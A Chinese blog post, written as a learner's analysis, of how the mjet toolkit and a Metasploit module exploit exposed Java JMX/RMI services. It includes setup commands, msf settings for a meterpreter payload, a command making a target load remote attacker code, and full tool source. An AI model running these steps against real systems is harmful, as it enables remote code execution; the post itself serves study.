关于metaspolit中进行JAVA反序列化渗透RMI的原理分析

一、背景:

这里需要对java反序列化有点了解,在这里得推广下自己的博客嘛,虽然写的不好,广告还是要做的。原谅我:

1、java反序列化漏洞原理研习

2、java反序列化漏洞的检测

二、攻击手法简介

针对这个使用msf攻击需要大家看一篇文章:JMX RMI Exploit 实例 , 鸣谢,确实学到了很多,膜拜大牛 , 简要介绍下攻击手法:

(1)下载mjet模块:下载连接mjet,如果是mac电脑安装好metaspolit以后可以直接使用git clone命令下载到metaspolit的父目录下:

git clone https://github.com/mogwaisec/mjet.git

(2)拷贝文件到响应目录下:

cp -r mjet/metasploit/MBean metasploit-framework-master/data/java/metaspolit
cp mjet/metasploit/java_mlet_server.rb metasploit-framework-master/modules/exploits/multi/misc/
cd mjet/src/java/metasploit/MetasploitBean/src/metasploit
javac Payload.java
cp Payload.class ~/Desktop/metasploit-framework-master/data/java/metasploit/

(3)进入msf,配置相关配置:

msf > use exploit/multi/misc/java_mlet_server
msf exploit(multi/misc/java_mlet_server) > set payload java/meterpreter/bind_tcp
payload => java/meterpreter/bind_tcp
msf exploit(multi/misc/java_mlet_server) > set LPORT 4444
LPORT => 4444
msf exploit(multi/misc/java_mlet_server) > set LHOST 192.168.100.101
LHOST => 192.168.100.101
msf exploit(multi/misc/java_mlet_server) > set uripath /asdfgh
uripath => /asdfgh
msf exploit(multi/misc/java_mlet_server) > run

另外一边开启一个终端:

java -jar mjet.jar -p 1099 -u http://192.168.100.101:8080/o5jSTI5rEWJw6Is/ -t 192.168.100.102

再补充一些msf的命令知识:

‘‘‘
对于msf来说
set LHOST、set LPORT、set RHOST、set RPORT就不说了都懂
查看配置选项show options
需要修改那个修改那个就可以了
set uripath /asdfgh
set SRVPORT 1234
等等
‘‘‘

三、下面来分析一下mjet的源码所进行的流程

很简单,到对方RMI去注册,然后RMI回连到msf起好的服务这里来:

我们来看mjet的源代码

  1 package de.mogwaisecurity.lab.mjet;
  2
  3 import org.apache.commons.cli.*;
  4 import javax.management.remote.*;
  5 import javax.management.*;
  6
  7 import java.util.*;
  8
  9 public class Mjet {
 10
 11     /**
 12      * @param args
 13      */
 14     public static void main(String[] args) {
 15
 16         System.out.println("---------------------------------------------------");
 17         System.out.println("MJET - Mogwai Security JMX Exploitation Toolkit 0.1");
 18         System.out.println("---------------------------------------------------");
 19         System.out.println();
 20
 21         CommandLineParser parser = new org.apache.commons.cli.BasicParser();
 22
 23         Options cmdOptions = createCmdOptions();
 24
 25         CommandLine cmd= null;
 26
 27         try {
 28             cmd = parser.parse(cmdOptions, args);
 29         }
 30         catch(ParseException exp) {
 31             System.err.println( "[-] Error: " + exp.getMessage());
 32             System.err.println();
 33
 34             // automatically generate the help statement
 35             HelpFormatter formatter = new HelpFormatter();
 36             formatter.printHelp( "mjet", cmdOptions );
 37             System.exit(1);
 38         }
 39
 40         pwnJMXService(cmd);
 41     }
 42
 43     private static Options createCmdOptions()
 44     {
 45         Options cmdOptions = new Options();
 46
 47         // Required arguments
 48         Option targetOption = OptionBuilder.withArgName("host").hasArg().withDescription("target host").isRequired(true).create(‘t‘);
 49         Option portOption = OptionBuilder.withArgName("port").hasArg().withDescription("target service port").isRequired(true).create(‘p‘);
 50         Option urlOption = OptionBuilder.withArgName("url").hasArg().withDescription("url of the mlet web server").isRequired(true).create(‘u‘);
 51
 52         targetOption.setLongOpt("target");
 53         portOption.setLongOpt("port");
 54         urlOption.setLongOpt("url");
 55
 56         cmdOptions.addOption(targetOption);
 57         cmdOptions.addOption(portOption);
 58         cmdOptions.addOption(urlOption);
 59
 60         // Optional arguments
 61         Option helpOption = new Option("help", false, "show this help");
 62         cmdOptions.addOption(helpOption);
 63
 64         return cmdOptions;
 65     }
 66
 67     static void pwnJMXService(CommandLine line) {
 68         try {
 69             String serverName = line.getOptionValue("t");
 70             String servicePort = line.getOptionValue("p");
 71             String mLetUrl = line.getOptionValue("u");
 72             JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + servicePort +  "/jmxrmi");
 73
 74             System.out.println("[+] Connecting to JMX URL: "+url +" ...");
 75
 76             JMXConnector connector = JMXConnectorFactory.connect(url);
 77             MBeanServerConnection mBeanServer = connector.getMBeanServerConnection();
 78
 79             System.out.println("[+] Connected: " + connector.getConnectionId());
 80
 81             ObjectInstance payloadBean = null;
 82
 83             System.out.println("[+] Trying to create MLet bean...");
 84             ObjectInstance mLetBean = null;
 85
 86             try {
 87                 mLetBean = mBeanServer.createMBean("javax.management.loading.MLet", null);
 88             } catch (javax.management.InstanceAlreadyExistsException e) {
 89                 mLetBean = mBeanServer.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
 90             }
 91
 92             System.out.println("[+] Loaded "+mLetBean.getClassName());
 93             System.out.println("[+] Loading malicious MBean from " + mLetUrl);
 94             System.out.println("[+] Invoking: "+mLetBean.getClassName() + ".getMBeansFromURL");
 95             Object res = mBeanServer.invoke(mLetBean.getObjectName(), "getMBeansFromURL",
 96                     new Object[] { mLetUrl },
 97                     new String[] { String.class.getName() }
 98                 );
 99
100             HashSet res_set = ((HashSet)res);
101             Iterator itr = res_set.iterator();
102             Object nextObject = itr.next();
103
104             if (nextObject instanceof Exception) {
105                     throw ((Exception)nextObject);
106             }
107             payloadBean  = ((ObjectInstance)nextObject);
108
109             System.out.println("[+] Loaded class: "+ payloadBean.getClassName());
110             System.out.println("[+] Loaded MBean Server ID: "+ payloadBean.getObjectName());
111             System.out.println("[+] Invoking: "+ payloadBean.getClassName()+".run()");
112
113             mBeanServer.invoke(payloadBean.getObjectName(), "run", new Object[]{}, new String[]{});
114
115             System.out.println("[+] Done");
116
117         } catch (Exception e) {
118             e.printStackTrace();
119         }
120     }
121 }

先声明,我对java的懂得很少很少,初学者阶段。

只能说或这里调用了invoker,使用payloadBean.getObjectName.getMBeansFromURL这里调用getMBeansFromURL这个函数,我去百度了一下,这个函数

注册了咱们msf生成的那个server,然后看java_mlet_server.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘msf/core‘
require ‘rex‘

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize( info = {} )

        super( update_info( info,
        ‘Name‘          => ‘Java Mlet Server‘,
        ‘Description‘   => %q{
            This module abuses the JMX classes from a Java Applet to run arbitrary Java
            code outside of the sandbox as exploited in the wild in January of 2013. The
            vulnerability affects Java version 7u10 and earlier.
        },
        ‘License‘       => MSF_LICENSE,
        ‘Author‘        =>
        [
            ‘Unknown‘, # Vulnerability discovery
            ‘egypt‘, # Metasploit module
            ‘sinn3r‘, # Metasploit module
            ‘juan vazquez‘ # Metasploit module
        ],
        ‘References‘    =>
        [
            [ ‘CVE‘, ‘2013-0422‘ ]

        ],
        ‘Platform‘      => %w{ java linux osx win },
        ‘Payload‘       => { ‘Space‘ => 20480, ‘BadChars‘ => ‘‘, ‘DisableNops‘ => true },
        ‘Targets‘       =>
        [
            [ ‘Generic (Java Payload)‘,
                {
                    ‘Platform‘ => [‘java‘],
                    ‘Arch‘ => ARCH_JAVA,
                }
            ],
            [ ‘Windows x86 (Native Payload)‘,
                {
                    ‘Platform‘ => ‘win‘,
                    ‘Arch‘ => ARCH_X86,
                }
            ],
            [ ‘Mac OS X x86 (Native Payload)‘,
                {
                    ‘Platform‘ => ‘osx‘,
                    ‘Arch‘ => ARCH_X86,
                }
            ],
            [ ‘Linux x86 (Native Payload)‘,
                {
                    ‘Platform‘ => ‘linux‘,
                    ‘Arch‘ => ARCH_X86,
                }
            ],
        ],
        ‘DefaultTarget‘  => 0,
        ‘DisclosureDate‘ => ‘Jan 10 2013‘
        ))
    end

    def setup
        path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "Metasploit.class")
        @mbean_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
        path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "MetasploitMBean.class")
        @interface_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

        #@exploit_class_name = rand_text_alpha("Exploit".length)
        #@exploit_class.gsub!("Exploit", @exploit_class_name)
        super
    end

    def on_request_uri(cli, request)
        print_status("handling request for #{request.uri}")

        case request.uri
        when /\.jar$/i
            jar = payload.encoded_jar
            jar.add_file("metasploit/Metasploit.class", @mbean_class)
            jar.add_file("metasploit/MetasploitMBean.class", @interface_class)
            #metasploit_str = rand_text_alpha("metasploit".length)
            #payload_str = rand_text_alpha("payload".length)
            #jar.entries.each { |entry|
            #    entry.name.gsub!("metasploit", metasploit_str)
            #    entry.name.gsub!("Payload", payload_str)
            #    entry.data = entry.data.gsub("metasploit", metasploit_str)
            #    entry.data = entry.data.gsub("Payload", payload_str)
            #}
            jar.build_manifest

            send_response(cli, jar, { ‘Content-Type‘ => "application/octet-stream" })
        when /\/$/
            payload = regenerate_payload(cli)
            if not payload
                print_error("Failed to generate the payload.")
                send_not_found(cli)
                return
            end
            send_response_html(cli, generate_html, { ‘Content-Type‘ => ‘text/html‘ })
        else
            send_redirect(cli, get_resource() + ‘/‘, ‘‘)
        end

    end

    def generate_html
        html = %Q|<mlet code=metasploit.Metasploit archive=#{rand_text_alpha(8)}.jar name=#{rand_text_alpha(8)}:name=#{rand_text_alpha(8)},id=#{rand_text_alpha(8)} ></mlet>|
#        return html
    end

end

先声明我也只懂一个大概流程,等到rmi回连后,注册那两个class到rmi,从而完成java反序列化的操作,这里使用正反向都可以拿shell,但是反连Server需要能直达,攻击互联网站点的化需要有一个公网IP。

看一下这几了类的代码:

package metasploit;

public class Metasploit implements MetasploitMBean {
    public void run() {
        Payload.main(null);
    }
}
package metasploit;

public interface MetasploitMBean {
    public void run();
}
 1 package metasploit;
 2
 3 public class Payload {
 4
 5
 6     public static void main(String[] args) {
 7         System.out.println("bla bla bla");
 8
 9     }
10
11 }

层层调用,但是也只是一个打印bla的类,所以真正打击的部分还在mjet.java中,来看这一段:

感觉问题就出在113行,那个invoker后面,但是这后面的反射链怎么调用的,暂时就不在我的能力范围之内了。等我请教大神之后再来写吧,先这样,待续待修正...

原文地址:https://www.cnblogs.com/KevinGeorge/p/8467474.html

时间: 2024-10-08 14:14:14

关于metaspolit中进行JAVA反序列化渗透RMI的原理分析的相关文章

java并发包&amp;线程池原理分析&amp;锁的深度化

      java并发包&线程池原理分析&锁的深度化 并发包 同步容器类 Vector与ArrayList区别 1.ArrayList是最常用的List实现类,内部是通过数组实现的,它允许对元素进行快速随机访问.数组的缺点是每个元素之间不能有间隔,当数组大小不满足时需要增加存储能力,就要讲已经有数组的数据复制到新的存储空间中.当从ArrayList的中间位置插入或者删除元素时,需要对数组进行复制.移动.代价比较高.因此,它适合随机查找和遍历,不适合插入和删除. 2.Vector与Arra

Java 远程通讯技术及原理分析

在分布式服务框架中,一个最基础的问题就是远程服务是怎么通讯的,在Java领域中有很多可实现远程通讯的技术,例如:RMI.MINA.ESB.Burlap.Hessian.SOAP.EJB和JMS等,这些名词之间到底是些什么关系呢,它们背后到底是基于什么原理实现的呢,了解这些是实现分布式服务框架的基础知识,而如果在性能上有高的要求的话,那深入了解这些技术背后的机制就是必须的了. 1 基本原理 要实现网络机器间的通讯,首先得来看看计算机系统网络通信的基本原理,在底层层面去看,网络通信需要做的就是将流从

Java远程通讯技术及原理分析

在分布式服务框架中,一个最基础的问题就是远程服务是怎么通讯的,在Java领域中有很多可实现远程通讯的技术,例如:RMI.MINA.ESB.Burlap.Hessian.SOAP.EJB和JMS等,这些名词之间到底是些什么关系呢,它们背后到底是基于什么原理实现的呢,了解这些是实现分布式服务框架的基础知识,而如果在性能上有高的要求的话,那深入了解这些技术背后的机制就是必须的了. 1 基本原理 要实现网络机器间的通讯,首先得来看看计算机系统网络通信的基本原理,在底层层面去看,网络通信需要做的就是将流从

Java并发编程之ConcurrentHashMap原理分析

前言: 集合是编程中最常用的数据结构.而谈到并发,几乎总是离不开集合这类高级数据结构的支持.比如两个线程需要同时访问一个中间临界区(Queue),比如常会用缓存作为外部文件的副本(HashMap).这篇文章主要分析jdk1.5的3种并发集合类型(concurrent,copyonright,queue)中的ConcurrentHashMap,让我们从原理上细致的了解它们,能够让我们在深度项目开发中获益非浅. 在tiger之前,我们使用得最多的数据结构之一就是HashMap和Hashtable.大

Java 重入锁 ReentrantLock 原理分析

1.简介 可重入锁ReentrantLock自 JDK 1.5 被引入,功能上与synchronized关键字类似.所谓的可重入是指,线程可对同一把锁进行重复加锁,而不会被阻塞住,这样可避免死锁的产生.ReentrantLock 的主要功能和 synchronized 关键字一致,均是用于多线程的同步.但除此之外,ReentrantLock 在功能上比 synchronized 更为丰富.比如 ReentrantLock 在加锁期间,可响应中断,可设置超时等. ReentrantLock 是我们

Java中HashSet存储对象判断是否重复原理分析

HashSet  根据每个对象的哈希码值(调用hashCode()获得)用固定的算法算出它的存储索引,把对象存放在一个叫散列表的相应位置(表元)中: 存对象时,hashSet集合首先调用该对象的hashCode方法来获得该对象的hashCode值,与hash表中的值进行比较.如果不存在,则直接把该对象存入集合中,并把该hashCode值存入hash表中,此次add操作结束.如果存在,则进行下面的计算. 通过"=="操作符判断已经存入的对象与要存入的对象是否为同一对象.如果true则集合

【学习】004 java并发包&amp;线程池原理分析&amp;锁的深度化

并发包[jdk1.7] 同步容器类 Vector与ArrayList区别 1.ArrayList是最常用的List实现类,内部是通过数组实现的,它允许对元素进行快速随机访问.数组的缺点是每个元素之间不能有间隔,当数组大小不满足时需要增加存储能力,就要讲已经有数组的数据复制到新的存储空间中.当从ArrayList的中间位置插入或者删除元素时,需要对数组进行复制.移动.代价比较高.因此,它适合随机查找和遍历,不适合插入和删除. 2.Vector与ArrayList一样,也是通过数组实现的,不同的是它

Java:ConcurrentLinkedQueue的实现原理分析

本文是作者原创,首发于InfoQ:http://www.infoq.com/cn/articles/ConcurrentLinkedQueue 1.    引言 在并发编程中我们有时候需要使用线程安全的队列.如果我们要实现一个线程安全的队列有两种实现方式一种是使用阻塞算法,另一种是使用非阻塞算法.使用阻塞算法的队列可以用一个锁(入队和出队用同一把锁)或两个锁(入队和出队用不同的锁)等方式来实现,而非阻塞的实现方式则可以使用循环CAS的方式来实现,本文让我们一起来研究下Doug Lea是如何使用非

java并发系列(九)-----ConcurrentHashMap原理分析(JDK1.7)

数据结构 ConcurrentHashMap是由Segment数组结构和HashEntry数组结构组成.Segment实际继承自可重入锁(ReentrantLock),在ConcurrentHashMap里扮演锁的角色:HashEntry则用于存储键值对数据.一个ConcurrentHashMap里包含一个Segment数组,每个Segment里包含一个HashEntry数组,我们称之为table,每个HashEntry是一个链表结构的元素. 面试常问: 1. ConcurrentHashMap